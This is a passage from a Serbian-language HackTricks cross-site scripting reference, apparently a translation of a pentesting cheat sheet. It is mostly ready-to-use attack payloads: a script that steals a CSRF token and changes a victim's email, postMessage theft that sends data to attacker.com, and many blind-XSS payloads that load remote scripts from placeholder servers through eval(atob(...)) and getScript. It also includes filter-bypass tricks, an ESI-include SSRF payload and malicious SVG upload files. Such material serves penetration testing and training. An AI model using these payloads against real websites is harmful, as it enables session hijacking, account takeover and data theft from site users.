  • Kada keyword filters blokiraju kod, kombinujte sa Unicode-escaped identifiers ili eval(atob('...')) delivery, kao što je prikazano iznad.

Keylogger

Samo pretragom na github-u našao sam nekoliko različitih:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Krađa PostMessage poruka

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Zloupotreba Service Workers

Abusing Service Workers

Pristup Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Takođe možete koristiti: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Pristup skrivenom sadržaju

Iz this writeup može se saznati da, čak i ako neke vrednosti nestanu iz JS, i dalje ih je moguće pronaći u JS atributima različitih objekata. Na primer, unos za REGEX se i dalje može pronaći čak i nakon što je vrednost tog unosa uklonjena:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS — zlopotreba drugih ranjivosti

XSS u Markdownu

Možeš da ubaciš Markdown kod koji će biti renderovan? Možda tako dobiješ XSS! Proveri:

XSS in Markdown

XSS u SSRF

Imaš XSS na site-u koji koristi caching? Pokušaj nadograditi to u SSRF kroz Edge Side Include Injection sa ovim payloadom:

python
<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

XSS in dynamic created PDF

Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot koji kreira PDF pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete zloupotrebiti ovo ponašanje da izazovete Server XSS.

Server Side XSS (Dynamic PDF)

Ako ne možete injektovati HTML tagove, može biti vredno pokušati da injektujete PDF podatke:

PDF Injection

XSS in Amp4Email

AMP, osmišljen da ubrza performanse web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP components.

The AMP for Email format proširuje specifične AMP komponente na e-mailove, omogućavajući primaocima da direktno unutar svojih poruka interaguju sa sadržajem.

Example writeup XSS in Amp4Email in Gmail.

XSS uploading files (svg)

Otpremite kao sliku fajl poput sledećeg (from http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pronađi više SVG payloads na https://github.com/allanlw/svg-cheatsheet

Razni JS trikovi i relevantne informacije

Misc JS Tricks & Relevant Info

XSS resursi

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks